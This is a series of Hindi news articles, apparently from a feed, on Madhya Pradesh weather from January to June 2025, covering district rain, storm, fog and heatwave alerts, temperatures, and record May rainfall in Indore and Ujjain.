मई में अप्रैल जितनी गर्मी नहीं रही। अप्रैल में कई शहरों में तापमान 45 डिग्री तक पहुंच गया था। इस साल मई में प्रदेश के किसी भी शहर में दिन का तापमान 43 डिग्री तक भी नहीं पहुंचा। नौतपा में भी कम ही गर्मी रही। नौगांव, खजुराहो, टीकमगढ़, ग्वालियर, दमोह, शिवपुरी जैसे शहरों में ही पारा 40 डिग्री के पार पहुंचा। बाकी शहरों में इससे काफी नीचे रहा। मई की शुरुआत से आखिरी तक प्रदेश में साइक्लोनिक सर्कुलेशन, वेस्टर्न डिस्टरबेंस (पश्चिमी विक्षोभ) और टर्फ की एक्टिविटी देखने को मिली। लगातार सिस्टम एक्टिव होते रहे। इस वजह से आंधी-बारिश का दौर भी चलता रहा। आखिरी दिन भी कुछ जिलों में मौसम बदला रहा।

अगले 4 दिन ऐसा रहेगा मौसम

2 जून: भोपाल, इंदौर, उज्जैन, ग्वालियर, मुरैना, भिंड, दतिया, निवाड़ी, टीकमगढ़, छतरपुर, रीवा, सीधी, सिंगरौली, पन्ना, दमोह, मंडला, बालाघाट, सिवनी, पांढुर्णा, छिंदवाड़ा, नरसिंहपुर, सागर, विदिशा, रायसेन, नर्मदापुरम, बैतूल, सीहोर, शाजापुर, देवास, धार, अलीराजपुर, झाबुआ, रतलाम, मंदसौर, श्योपुर, शिवपुरी, अशोकनगर, गुना, राजगढ़, आगर-मालवा, सतना, मैहर, मऊगंज, कटनी, जबलपुर, उमरिया, शहडोल, अनूपपुर, डिंडौरी और नीमच में बारिश होने की संभावना है। यहां हवा की रफ्तार 40 से 50 किलोमीटर प्रतिघंटा तक हो सकती है।

3 जून: भोपाल, इंदौर, उज्जैन, ग्वालियर, मुरैना, भिंड, दतिया, निवाड़ी, टीकमगढ़, छतरपुर, पन्ना, दमोह, मंडला, बालाघाट, सिवनी, पांढुर्णा, छिंदवाड़ा, नरसिंहपुर, सागर, विदिशा, रायसेन, नर्मदापुरम, बैतूल, हरदा, सीहोर, शाजापुर, देवास, खंडवा, बुरहानपुर, खरगोन, बड़वानी, धार, अलीराजपुर, झाबुआ, रतलाम, मंदसौर, श्योपुर, शिवपुरी, अशोकनगर, गुना, राजगढ़, आगर-मालवा, सतना, मैहर, कटनी, जबलपुर, उमरिया, शहडोल, अनूपपुर, डिंडौरी और नीमच में आंधी-बारिश का अलर्ट है।

4 जून: भोपाल, इंदौर, उज्जैन, ग्वालियर, मुरैना, भिंड, दतिया, निवाड़ी, टीकमगढ़, छतरपुर, रीवा, सीधी, सिंगरौली, पन्ना, दमोह, मंडला, बालाघाट, सिवनी, पांढुर्णा, छिंदवाड़ा, नरसिंहपुर, सागर, विदिशा, रायसेन, नर्मदापुरम, बैतूल, हरदा, सीहोर, शाजापुर, देवास, खंडवा, बुरहानपुर, खरगोन, बड़वानी, धार, अलीराजपुर, झाबुआ, रतलाम, मंदसौर, श्योपुर, शिवपुरी, अशोकनगर, गुना, राजगढ़, आगर-मालवा, सतना, मैहर, मऊगंज, कटनी, जबलपुर, उमरिया, शहडोल, अनूपपुर, डिंडौरी और नीमच में बारिश होने की संभावना है। यहां हवा की रफ्तार 40 से 50 किलोमीटर प्रतिघंटा तक हो सकती है।

5 जूनः इंदौर, उज्जैन, ग्वालियर, श्योपुर, मुरैना, भिंड, दतिया, शिवपुरी, निवाड़ी, टीकमगढ़, सतना, रीवा, मैहर, उमरिया, शहडोल, अनूपपुर, डिंडौरी, मंडला, बालाघाट, सिवनी, छिंदवाड़ा, पांढुर्णा, बैतूल, नर्मदापुरम, हरदा, खंडवा, बुरहानपुर, देवास, खरगोन, बड़वानी, धार, रतलाम, झाबुआ और अलीराजपुर में आंधी-बारिश का अलर्ट है।

इस साल मई में टूटे रिकॉर्ड, गर्मी की बजाय आंधी-बारिश पूरे मई महीने में आंधी, बारिश और ओले वाला मौसम रहा। एक भी दिन ऐसा नहीं रहा, जब प्रदेश के किसी न किसी जिले में आंधी-बारिश न हुई हो। एमपी में ऐसा पहली बार हुआ। भोपाल, इंदौर, उज्जैन, ग्वालियर-जबलपुर समेत कुल 53 जिले भीग गए। सिर्फ निवाड़ी ही ऐसा जिला रहा, जहां बूंदाबांदी तो हुई, लेकिन दर्ज नहीं हो सकी। दूसरी ओर, मई महीने में बारिश के कई रिकॉर्ड भी टूटे। इंदौर में 139 साल में सबसे ज्यादा 4.6 इंच पानी गिरा। वहीं, उज्जैन में सबसे ज्यादा बारिश का ओवरऑल रिकॉर्ड बना।

इससे पहले इंदौर में साल 1886 के मई महीने में 107.7 मिमी यानी, 4.2 इंच पानी गिरा था, जबकि इस बार 114.8 मिमी यानी, 4.6 इंच पानी गिर गया है। इस तरह 139 साल में इंदौर का रिकॉर्ड टूट गया है। उज्जैन में मई की बारिश का ओवरऑल रिकॉर्ड बना है। इस बार 111.8 मिमी यानी, 4.3 इंच से ज्यादा पानी गिरा है। साल 2021 में कुल मासिक बारिश 65 मिमी (2.5 इंच) हुई थी। इस हिसाब से उज्जैन में मई की बारिश का ओवरऑल रिकॉर्ड बना है।

दूसरी ओर, मई में अप्रैल जितनी गर्मी नहीं रही। अप्रैल में कई शहरों में तापमान 45 डिग्री तक पहुंच गया था। इस साल मई में प्रदेश के किसी भी शहर में दिन का तापमान 43 डिग्री तक भी नहीं पहुंचा। नौतपा में भी कम ही गर्मी रही। नौगांव, खजुराहो, टीकमगढ़, ग्वालियर, दमोह, शिवपुरी जैसे शहरों में ही पारा 40 डिग्री के पार पहुंचा। बाकी शहरों में इससे काफी नीचे रहा।

 

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मध्यप्रदेश में आंधी-बारिश के बीच गर्मी का असर भी देखने को मिलेगा, कल से लू चलेगी, पानी भी गिरेगा https://pratyushaashakinayikiran.com/?p=156649 Fri, 16 May 2025 08:26:00 +0000 https://pratyushaashakinayikiran.com/?p=156649 भोपाल
मध्यप्रदेश में आंधी-बारिश के बीच गर्मी का असर भी देखने को मिलेगा। मौसम विभाग ने 17 मई से उत्तरी हिस्से के जिलों में हीट वेव यानी, गर्म हवाएं चलने का अलर्ट जारी किया है। इससे पहले शुक्रवार को इंदौर, उज्जैन समेत 21 जिलों में बारिश हो सकती है अगले कुछ दिनों तक प्रदेश के कई हिस्सों में तेज आंधी और बारिश का सिलसिला जारी रहने वाला है। मौसम विभाग की मानें तो साइक्लोनिक सर्कुलेशन और टर्फ लाइन की सक्रियता के चलते 19 मई तक राज्य में मौसम बिगड़ा रहेगा।

खासतौर पर शुक्रवार से अगले चार दिन तक कई जिलों में तेज हवाओं के साथ बौछारें पड़ने की संभावना जताई गई है। इस बीच कुछ क्षेत्रों में तापमान में वृद्धि होगी, जबकि उत्तरी जिलों में लू का प्रभाव देखने को मिलेगा।

कहीं बारिश तो कहीं लू का अलर्ट

राज्य के 21 जिलों में शुक्रवार को बारिश और आंधी का अलर्ट जारी किया गया है। वहीं, 17 मई से उत्तर मध्यप्रदेश के जिलों में लू की स्थिति बन सकती है। खासकर निवाड़ी, टीकमगढ़ और छतरपुर जैसे क्षेत्रों में तापमान 2 से 3 डिग्री सेल्सियस तक बढ़ने की संभावना है। हालांकि, भोपाल और ग्वालियर जैसे इलाकों में गर्मी का प्रभाव अभी बना रहेगा।
25 मई से शुरू होगा नौतपा

इस साल 25 मई से शुरू हो रहे नौतपा का असर पहले जैसा तीव्र नहीं रहेगा। हालांकि, इस दौरान कहीं-कहीं हल्की बारिश या बूंदाबांदी की संभावना जताई गई है। आमतौर पर नौतपा को साल की सबसे तपती अवधि माना जाता है, लेकिन इस बार इसका प्रभाव कुछ कम रहने वाला है।

अगले तीन दिन ऐसा रहेगा मौसम

    17 मई : शुक्रवार को बुंदेलखंड के निवाड़ी, टीकमगढ़ और छतरपुर में लू का प्रभाव देखने को मिलेगा। वहीं, प्रदेश के कई अन्य जिलों जैसे नीमच, मंदसौर, इंदौर, उज्जैन, बड़वानी, धार, शाजापुर, देवास, नर्मदापुरम, बैतूल, मंडला और सिवनी में बारिश के आसार हैं।

    18 मई : शनिवार को छतरपुर, टीकमगढ़ और निवाड़ी में एक बार फिर लू का अलर्ट जारी किया गया है। जबकि इंदौर, देवास, उज्जैन, नर्मदापुरम, बड़वानी, बैतूल, डिंडौरी और अन्य जिलों में तेज आंधी और वर्षा की चेतावनी दी गई है।
    19 मई : रविवार को प्रदेशभर में मौसम और अधिक सक्रिय रहेगा। भोपाल, जबलपुर, इंदौर, उज्जैन, विदिशा, सीहोर, रायसेन, नरसिंहपुर सहित 30 से अधिक जिलों में बारिश और आंधी की संभावना है। वहीं निवाड़ी, टीकमगढ़ और छतरपुर में लू का असर बना रह सकता है।

एक साथ सक्रिय कई मौसम प्रणालियां

दक्षिणी गुजरात में ऊपरी हवा में चक्रवात, उप-हिमालयी पश्चिम बंगाल से लेकर उत्तरी छत्तीसगढ़ होते हुए मध्यप्रदेश तक बनी द्रोणिका और अन्य मौसमी तंत्रों की सक्रियता के चलते पूरे प्रदेश में मौसम का मिजाज बदला-बदला रहेगा। इन सबका संयुक्त प्रभाव आने वाले दिनों में प्रदेश में अस्थिर मौसम की स्थिति बनाए रखेगा।

सिवनी में 9 घंटे में डेढ़ इंच से ज्यादा बारिश, ग्वालियर-खजुराहो में गर्मी बढ़ी गुरुवार को भी प्रदेश में तेज आंधी, बारिश और गर्मी वाला मौसम रहा। सिवनी में 9 घंटे में डेढ़ इंच से ज्यादा पानी गिर गया। वहीं, इकलौते हिल स्टेशन पचमढ़ी में पौन इंच बारिश दर्ज की गई। उज्जैन, टीकमगढ़, धार, मंडला में भी बारिश हुई। बैतूल, झाबुआ, रतलाम, उज्जैन, बुरहानपुर, छिंदवाड़ा, हरदा, अलीराजपुर, बड़वानी, खंडवा, खरगोन, बालाघाट, रायसेन, नर्मदापुरम और इंदौर जिलों में रात के समय मौसम बदला रहा।

इधर, गुरुवार को कई शहरों में गर्मी का असर देखने को मिला। खजुराहो में 43.4 डिग्री, नौगांव में 42.7 डिग्री, शिवपुरी-रीवा में 42 डिग्री, सतना में 41.6 डिग्री, गुना में 41.3 डिग्री, सीधी में 41.2 डिग्री और उमरिया में पारा 40 डिग्री दर्ज किया गया। पचमढ़ी में सबसे कम 32.2 डिग्री सेल्सियस रहा।

पांच बड़े शहरों की बात करें तो ग्वालियर सबसे गर्म रहा। यहां पारा 43 डिग्री दर्ज किया गया। भोपाल में 37.3 डिग्री, इंदौर में 36.4 डिग्री, उज्जैन में 37 डिग्री और जबलपुर में पारा 38.5 डिग्री सेल्सियस रहा।

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मध्यप्रदेश में 8 मई तक आंधी, बारिश और ओले का सिस्टम एक्टिव, 60Km/घंटा की रफ्तार से चलेगी हवा https://pratyushaashakinayikiran.com/?p=154030 Mon, 05 May 2025 15:35:00 +0000 https://pratyushaashakinayikiran.com/?p=154030 भोपाल

अलग अलग स्थानों पर सक्रिय मौसम प्रणालियों के असर से अगले 4 दिन तक झमाझम बारिश का दौर जारी रहेगा। इस दौरान आंधी, मेघगर्जन और बिजली चमकने का भी अनुमान है।इस दौरान 50 से 60Km/घंटा की रफ्तार हवा चलेगी। आज सोमवार को करीब 35 जिलों में बारिश के लिए ऑरेंज येलो अलर्ट जारी किया गया है।

साइक्लोनिक सकुर्लेशन और वेस्टर्न डिस्टरबेंस के असर से 8 मई तक मौसम का मिजाज यूही बना रहेगा। रविवार को 20 से अधिक जिलों में तेज हवा के साथ जमकर वर्षा हुई। इंदौर में सबसे ज्यादा 70 मिमी, उज्जैन में 11 मिमी और भोपाल में लगभग 50 किमी प्रति घंटे की रफ्तार से हवाएं चली। खंडवा में अधिकतम तापमान 42.5 डिग्री सेल्सियस रहा, जो रविवार को प्रदेश में सबसे अधिक था।

मध्य प्रदेश मौसम विभाग का नया अपडेट

    वर्तमान में चार मौसम प्रणालियां सक्रिय हैं। पश्चिमी विक्षोभ मध्य पाकिस्तान और उससे लगे पंजाब एवं उत्तर-पश्चिम राजस्थान में हवा के ऊपरी हिस्से में चक्रवात के रूप में सक्रिय और दक्षिणी उत्तर प्रदेश – यहां भी हवा के ऊपरी हिस्से में चक्रवात बना हुआ है।द्रोणिका उत्तर-दक्षिण दिशा में मध्य प्रदेश, मराठवाड़ा, आंतरिक कर्नाटक से होते हुए तमिलनाडु तक फैली हुई है और उत्तरी मराठवाड़ा में एक ऊपरी हवा का चक्रवात बना हुआ है।

    इसके असर से अरब सागर और बंगाल की खाड़ी से निरंतर नमी आ रही है और प्रदेश में मौसम बदला हुआ है। सोमवार को भोपाल, इंदौर, उज्जैन, सागर और शहडोल संभाग में वर्षा , कहीं-कहीं ओलावृष्टि और बिजली गिरने की चेतावनी जारी की गई है।

इस वजह से ऐसा मौसम

सीनियर मौसम वैज्ञानिक डॉ. अरुण शर्मा ने बताया कि वेस्टर्न डिस्टरबेंस (पश्चिमी विक्षोभ), साइक्लोनिक सर्कुलेशन और टर्फ की वजह से पूरे प्रदेश में मौसम बदला हुआ है। रविवार को कई जिलों में आंधी, बारिश हुई और ओले गिरे। ऐसा ही मौसम सोमवार को भी बना रहेगा। कुछ जिलों में ओले गिरने का अलर्ट भी किया है। कहीं-कहीं हवा की रफ्तार 50 से 60 किमी प्रतिघंटा तक रह सकती है।

इंदौर में 9 घंटे में पौने 3 इंच बारिश, भोपाल में ओले गिरे प्रदेश में रविवार को आंधी-बारिश और ओले गिरने का दौर जारी रहा। रविवार को भोपाल, इंदौर, उज्जैन, देवास और खंडवा में तेज बारिश के साथ ओले गिरे। इंदौर में गरज-चमक और तेज हवा के साथ शाम 5 बजे से तेज बारिश शुरू हो गई, जो देर रात तक जारी रही। मौसम विभाग के अनुसार, सुबह 8.30 से शाम साढ़े 5 बजे के बीच इंदौर में 70 मिमी यानी, पौने 3 इंच पानी गिर गया।

भोपाल में बारिश के साथ ओले भी गिरे हैं। उज्जैन में करीब आधा इंच पानी गिर गया है। इधर, कई शहरों में दिन के तापमान में गिरावट हुई है। भोपाल में 37 डिग्री, इंदौर में 36.2 डिग्री, ग्वालियर में 38.5 डिग्री, उज्जैन में 41 डिग्री और जबलपुर में पारा 37.5 डिग्री दर्ज किया गया। एक ही दिन में 3 से 4 डिग्री की गिरावट हुई है। वहीं, खंडवा में पारा 42.5 डिग्री, खरगोन में 42.4 डिग्री, नरसिंहपुर में 42 डिग्री, खजुराहो में 40.8 डिग्री और नर्मदापुरम में 40.3 डिग्री सेल्सियस रहा।

 4 दिन बारिश/आंधी/ओले का अलर्ट

    5 मई सोमवार: मैहर, उमरिया, शहडोल, अनूपपुर, डिंडौरी,मंडला, बालाघाट, सिवनी, छिंदवाड़ा और पांढुर्णा में बारिश के साथ ओले । ग्वालियर, मुरैना, भिंड, दतिया, श्योपुर, शिवपुरी में हवा की रफ्तार 60 किमी प्रतिघंटा।इंदौर, भोपाल, जबलपुर, उज्जैन, नीमच, मंदसौर, रतलाम, झाबुआ, धार, बुरहानपुर, खरगोन, खंडवा, हरदा, देवास, शाजापुर, आगर-मालवा, राजगढ़, गुना, अशोकनगर, विदिशा, रायसेन, नर्मदापुरम, बैतूल, नरसिंहपुर, सागर, दमोह, कटनी, निवाड़ी, टीकमगढ़, छतरपुर, पन्ना, सतना, रीवा, मऊगंज, सीधी, सिंगरौली में गरज-चमक, आंधी और बारिश ।

    6 मई मंगलवार: इंदौर, भोपाल, जबलपुर, उज्जैन, मैहर, उमरिया, शहडोल, अनूपपुर, डिंडौरी, मंडला, बालाघाट, सिवनी, छिंदवाड़ा, पांढुर्णा, ग्वालियर, मुरैना, भिंड, दतिया, श्योपुर, शिवपुरी, नीमच, मंदसौर, रतलाम, झाबुआ, धार, हरदा, देवास, शाजापुर, आगर-मालवा, राजगढ़, गुना, अलीराजपुर, अशोकनगर, विदिशा, रायसेन, नर्मदापुरम, बैतूल, नरसिंहपुर, सागर, दमोह, कटनी, निवाड़ी, टीकमगढ़, छतरपुर, पन्ना, सतना, रीवा, मऊगंज, सीधी, सिंगरौली में गरज-चमक, आंधी और बारिश ।

    7 मई बुधवार: ग्वालियर, श्योपुर, मुरैना, भिंड, दतिया, शिवपुरी, निवाड़ी, टीकमगढ़, छतरपुर, सागर, दमोह, नरसिंहपुर, नर्मदापुरम, बैतूल, छिंदवाड़ा, पांढुर्णा, सिवनी, बालाघाट, मंडला, जबलपुर, डिंडौरी, अनूपपुर, शहडोल, उमरिया, कटनी, मैहर, सीधी, सिंगरौली, मऊगंज, रीवा, सतना, पन्ना, नीमच, मंदसौर, रतलाम, झाबुआ, अलीराजपुर, धार, बड़वानी, खरगोन, खंडवा और बुरहानपुर में बारिश ।

    8 मई गुरूवार: ग्वालियर, श्योपुर, मुरैना, भिंड, दतिया, रतलाम, उज्जैन, शाजापुर, इंदौर, देवास, सीहोर, हरदा, खंडवा, बुरहानपुर, खरगोन, बड़वानी, नर्मदापुरम, बैतूल, पांढुर्णा, छिंदवाड़ा, नरसिंहपुर, दमोह, कटनी, जबलपुर, सिवनी, मंडला, बालाघाट, रीवा, मऊगंज, सीधी और सिंगरौली में गरज-चमक, आंधी और बारिश

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मध्य प्रदेश में सोमवार से फिर बदलेगा मौसम, एक्टिव हो रहा नया सिस्टम https://pratyushaashakinayikiran.com/?p=142543 Sat, 22 Mar 2025 08:26:00 +0000 https://pratyushaashakinayikiran.com/?p=142543 भोपाल

सोमवार से मध्य प्रदेश का मौसम एक बार फिर बदलने लगेगा, क्योंकि 24 मार्च को एक नया वेस्टर्न डिस्टरबेंस सक्रिय होने वाला है, जो पश्चिमी हिमालयी क्षेत्र को प्रभावित करेगा। मार्च के अंतिम दिनों में प्रदेश में लू चलने की संभावना जताई गई है।अप्रैल और मई में हीट वेव का तेज असर देखने को मिलेगा।

आज शनिवार को शनिवार को रीवा, जबलपुर, शहडोल संभाग के जिलों में बारिश के साथ कहीं-कहीं ओले भी गिर सकते हैं। रीवा, सीधी, मऊगंज और अनूपपुर में  40 से 50 किमी प्रति घंटे की रफ्तार से तेज आंधी चलने की संभावना है। भोपाल, इंदौर, ग्वालियर, जबलपुर, उज्जैन और नर्मदापुरम में धूप खिली रहेगी। इस दौरान दिन और रात के तापमान में 2 से 3 डिग्री सेल्सियस तक की वृद्धि हो सकती है।

एमपी मौसम विभाग का पूर्वानुमान

वर्तमान में मध्य प्रदेश के मध्य में हवा के ऊपरी भाग में चक्रवात बना हुआ है। दक्षिणी छत्तीसगढ़ से लेकर कर्नाटक तक द्रोणिका (विपरीत दिशाओं की हवाओं का सम्मिलन) बनी हुई है।इसके असर से बीते दिनों पूर्वी एवं पश्चिमी मध्य प्रदेश में कहीं-कहीं वर्षा हुई । हालांकि पश्चिमी विक्षोभ के कमजोर पड़ने से रविवार से मौसम धीरे-धीरे साफ होने लगेगा। बादलों के छंटने से दिन के तापमान में भी इजाफा देखने को मिल सकता है।

पिछले 24 घंटे का मौसम का हाल

    शुक्रवार को सबसे अधिक 37.6 डिग्री सेल्सियस तापमान खरगोन और रात का सबसे कम 14.6 डिग्री सेल्सियस राजगढ़ में रिकार्ड किया गया।

    हिल स्टेशन पचमढ़ी में रात का पारा 15.2 डिग्री सेल्सियस पर रहा।

    शहडोल के ब्यौहारी में सबसे अधिक 87 मिमी (3.5 इंच),कटनी के धीमरखेड़ा में सवा इंच, उमरिया के मानपुर और जबलपुर के मझौली में करीब पौने एक इंच बारिश हुई।

    सागर, दमोह और सिंगरौली में ओले गिरे। और डिंडौरी, दमोह, मंडला, अनूपपुर (अमरकंटक), शहडोल, पन्ना और मैहर में आकाशीय बिजली के साथ बारिश हुई।

    सागर, बालाघाट, छिंदवाड़ा, सिवनी, दक्षिण मंडला, उमरिया, सीधी, सिंगरौली, उत्तर शहडोल, दक्षिण सतना, दक्षिण रीवा, मऊगंज, जबलपुर और कटनी में बादल छाए रहे।

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फरवरी के आखिरी दिनों में मध्यप्रदेश का मौसम फिर बदलेगा, 21 फरवरी से 2-3° गिरेगा पारा, भिंड-मुरैना में हल्की बारिश https://pratyushaashakinayikiran.com/?p=132616 Thu, 20 Feb 2025 09:06:00 +0000 https://pratyushaashakinayikiran.com/?p=132616 भोपाल

मध्य प्रदेश में मौसम ने फिर से अपना मिजाज बदल लिया है, जिसका कारण पश्चिमी विक्षोभ (Western Disturbance) और साइक्लोनिक सर्कुलेशन (Cyclonic Circulation) है। मंगलवार को ग्वालियर-चंबल क्षेत्र में हल्की बारिश हुई, जबकि भोपाल, इंदौर और उज्जैन में गर्मी का असर देखने को मिला। मौसम विभाग के अनुसार, 21 फरवरी को कई जिलों में बारिश का अनुमान है, जिसमें सिवनी, मंडला, बालाघाट, सीधी, सिंगरौली और शहडोल शामिल हैं। अगले 24 घंटों में भिंड ,मुरैना, श्योपुर कलां ग्वालियर, दतिया और छतरपुर में भी बूंदाबांदी के आसार है। जबकि अन्य हिस्सों में गर्मी का असर देखने को मिलेगा।

मध्य प्रदेश में बदला मौसम का मिजाज

मौसम विभाग के मुताबिक, मध्य प्रदेश का मौसम एकदम से बदल गया है। ग्वालियर का तापमान 4.7 डिग्री गिरकर 24.9 डिग्री तक पहुंच गया, यहां बादल छाने के बाद पारा में गिरावट आई। जबकि अन्य शहरों में दिन का तापमान 30 डिग्री के पार रहा। भोपाल में दिन में गर्मी का असर देखने को मिल रहा है। भोपाल में 32.2 डिग्री, इंदौर में 31.5 डिग्री और उज्जैन में 32 डिग्री तापमान दर्ज किया गया। सागर, बैतूल, धार, दमोह का 32 डिग्री और खरगोन, नर्मदापुरम, खंडवा, रतलाम, मंडला में पारा 33 डिग्री से ज्यादा दर्ज किया गया।

मौसम विभाग के अनुसार, अभी दक्षिण पाकिस्तान और राजस्थान के ऊपर एक साइक्लोनिक सर्कुलेशन सिस्टम है। वहीं, उत्तर भारत में वेस्टर्न डिस्टरबेंस (पश्चिमी विक्षोभ) एक्टिव है। इस वजह से प्रदेश में भी मौसम बदला है।

रात में हल्की बारिश, सुबह हुई बूंदाबांदी

भिंड और मुरैना में बुधवार रात हल्की बारिश हुई, जिससे मौसम में ठंडक बढ़ गई। गुरुवार सुबह मुरैना में बूंदाबांदी देखने को मिली। बदलते मौसम से तापमान में गिरावट दर्ज की गई, जिससे ठंड का असर फिर बढ़ सकता है।

भोपाल में दिनभर बादल छाए, पर पारा नहीं लुढ़का बुधवार को भोपाल में दिनभर बादल छाए रहे, लेकिन पारा नहीं लुढ़का। यहां दिन का तापमान 32.2 डिग्री सेल्सियस दर्ज किया गया। पचमढ़ी में 27.3 डिग्री, रायसेन में 29 डिग्री, नरसिंहपुर में 29.2 डिग्री, नौगांव में 28 डिग्री रहा। कई शहरों में दिन के तापमान में 3 डिग्री तक की गिरावट दर्ज की गई है। हालांकि, रात में पारे में बढ़ोतरी देखने को मिली है। मंगलवार-बुधवार की रात सिवनी-दमोह में 17 डिग्री, खंडवा-खरगोन में 18 डिग्री और नर्मदापुरम में 19 डिग्री दर्ज किया गया।

 

24 फरवरी को फिर एक्टिव होगा सिस्टम मौसम विभाग के अनुसार, 24 फरवरी को उत्तर-पश्चिम भारत में एक वेस्टर्न डिस्टरबेंस एक्टिव होगा। जिसका असर प्रदेश में देखने को मिल सकता है।

फरवरी में ऐसा ही रहेगा मौसम मौसम वैज्ञानिक प्रमेंद्र कुमार रैकवार ने बताया, फरवरी में कई वेस्टर्न डिस्टरबेंस एक्टिव होते हैं। अबकी बार भी ऐसा ही है। इस वजह से पारे में उतार-चढ़ाव की स्थिति बनी रहेगी। फिलहाल बारिश होने के आसार नहीं है।

इस बार 2 महीने कड़ाके की ठंड, जनवरी में मिला-जुला असर इस बार शुरुआती दो महीने यानी, नवंबर और दिसंबर में कड़ाके की ठंड पड़ी। ठंड ने कई रिकॉर्ड तोड़ दिए। नवंबर की बात करें तो भोपाल में 36 साल का रिकॉर्ड टूटा। इंदौर, उज्जैन, जबलपुर और ग्वालियर में भी पारा सामान्य से 7 डिग्री तक नीचे रहा।

वहीं, दिसंबर में भी ठंड ने रिकॉर्ड तोड़ा। स्थिति यह रही कि पूरे प्रदेश में जनवरी से भी ठंडा दिसंबर रहा। भोपाल समेत कई शहरों में ठंड ने रिकॉर्ड तोड़ दिए। 9 दिन शीतलहर चली। भोपाल में दिसंबर की सर्दी ने 58 साल का रिकॉर्ड तोड़ दिया। भोपाल, इंदौर, ग्वालियर समेत कई जिलों में स्कूलों की टाइमिंग बदल दी गई है, जबकि भोपाल के वन विहार नेशनल पार्क में जानवरों को सर्दी से बचाने के लिए हीटर लगाए गए। भगवान को भी ठंड से बचाने के लिए जतन किए गए।

अब बात जनवरी की। शुरुआत 10 से 15 दिन तक कड़ाके की ठंड का दौर रहा, लेकिन फिर तेवर ठंडे हो गए। ठंड के दो दौर आए, जबकि तीन बार मावठा गिरा। मौसम वैज्ञानिक डॉ. सिंह ने बताया, जनवरी में ठंड का असर जरूर रहा, लेकिन पिछले 10 साल के ट्रेंड के अनुसार तेज सर्दी नहीं पड़ी। पश्चिमी विक्षोभ की स्ट्रॉन्ग एक्टिविटी नहीं होने से तेज बारिश का दौर नहीं रहा। न ही ओले गिरे, जबकि जनवरी में ओला-बारिश का दौर भी रहता है।

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मकर संक्रांति पर मध्यप्रदेश में कोहरे का असर, भोपाल, ग्वालियर समेत 20 से ज्यादा जिलों में कोहरा छाया https://pratyushaashakinayikiran.com/?p=121153 Tue, 14 Jan 2025 15:06:00 +0000 https://pratyushaashakinayikiran.com/?p=121153 भोपाल
 मध्य प्रदेश में मकर संक्रांति के मौके पर कोहरे और ठंड का असर जारी है। भोपाल, ग्वालियर समेत 20 से अधिक जिलों में घना कोहरा छाया हुआ है। 15 जनवरी को पश्चिमी विक्षोभ के कारण प्रदेश के भोपाल, इंदौर, ग्वालियर और उज्जैन संभाग में हल्की बारिश की संभावना है। इसके बाद 17 जनवरी से ठंड का प्रकोप फिर बढ़ेगा।

मौसम वैज्ञानिकों के अनुसार, 14 जनवरी से पश्चिमी विक्षोभ सक्रिय हो रहा है, जिसका असर 15 और 16 जनवरी को रहेगा। 17 जनवरी से मौसम साफ हो जाएगा, लेकिन ठंडी हवाओं के चलते ठंड में इजाफा होगा।

प्रदेश के 24 जिलों में दिन का तापमान 23 डिग्री से नीचे दर्ज किया गया है। सोमवार को रायसेन में सबसे कम 17.8 डिग्री तापमान रहा। भोपाल में पारा 18.8 डिग्री पर पहुंच गया। वहीं, धार और पचमढ़ी में 18.9 डिग्री, उज्जैन में 19 डिग्री, इंदौर में 19.5 डिग्री और ग्वालियर में 21.2 डिग्री दर्ज किया गया।

सोमवार को भोपाल समेत कई जिलों में हल्की बारिश हुई, जबकि ग्वालियर, इंदौर और अन्य शहरों में सुबह घना कोहरा छाया रहा। धार में रात का न्यूनतम तापमान 6.4 डिग्री दर्ज किया गया, जो प्रदेश में सबसे कम रहा। भोपाल, इंदौर और ग्वालियर में रात के तापमान में भी गिरावट दर्ज की गई। तो वहीं कोहरे के कारण कई जगह विजिबिलिटी 200 से 500 मीटर तक रही। भोपाल और अन्य जिलों में सुबह देर तक धुंध छाई रही और धूप निकलने में देरी हुई।

मौसम वैज्ञानिक प्रकाश धामले ने बताया, 14 जनवरी से एक वेस्टर्न डिस्टरबेंस एक्टिव हो रहा है। इसका असर 15 और 16 जनवरी को प्रदेश में देखने को मिलेगा। सिस्टम जैसे ही गुजरेगा, प्रदेश में ठंड का असर फिर से बढ़ जाएगा।

4 दिन ऐसा रहेगा मौसम

    14 जनवरी: भोपाल, ग्वालियर, श्योपुर, मुरैना, भिंड, दतिया, शिवपुरी, गुना, अशोकनगर, राजगढ़, विदिशा, सीहोर, रायसेन, निवाड़ी, टीकमगढ़, छतरपुर, सतना, रीवा, मऊगंज, मैहर, सीधी और सिंगरौली में कोहरा रहेगा।

    15 जनवरी: भोपाल, इंदौर, उज्जैन, ग्वालियर, श्योपुर, मुरैना, भिंड, दतिया, शिवपुरी, निवाड़ी, टीकमगढ़, छतरपुर, सागर, दमोह, गुना, अशोकनगर, विदिशा, रायसेन, नर्मदापुरम, सीहोर, राजगढ़, शाजापुर, आगर-मालवा, देवास, हरदा, खंडवा, बुरहानपुर, खरगोन, बड़वानी, धार, अलीराजपुर, झाबुआ, रतलाम, नीमच, मंदसौर में हल्की बारिश हो सकती है।

    16 जनवरी: विदिशा, सागर, दमोह, पन्ना में हल्की बारिश हो सकती है।

    17 जनवरी: इस दिन मौसम साफ रहेगा। कोहरे या बारिश का अलर्ट नहीं है।

24 शहरों में पारा 23 डिग्री से नीचे सर्द हवाओं की वजह से सोमवार को पूरा प्रदेश ठिठुर गया। दिन के तापमान में कहीं 2 तो कहीं 5 डिग्री तक की गिरावट हुई। सबसे कम तापमान रायसेन में 17.8 डिग्री दर्ज किया गया। भोपाल में 18.8 डिग्री रहा। यहां एक ही दिन में पारा 3 डिग्री तक लुढ़क गया।

इसी तरह सिवनी में 18.4 डिग्री, धार-पचमढ़ी में 18.9 डिग्री, उज्जैन में 19 डिग्री, नर्मदापुरम में 19.4 डिग्री, इंदौर में 19.5 डिग्री, रीवा में 19.7 डिग्री, शिवपुरी, मलाजखंड-सीधी 20 डिग्री, गुना-रतलाम में 20.2 डिग्री, जबलपुर में 20.3 डिग्री, नौगांव में 20.5 डिग्री, बैतूल में 20.7 डिग्री, उमरिया में 20.8 डिग्री, दमोह में 21 डिग्री, ग्वालियर में 21.2 डिग्री, सतना में 21.4 डिग्री, सागर में 21.8 डिग्री, खजुराहो में 22.4 डिग्री, मंडला में 22.8 डिग्री तापमान रहा।

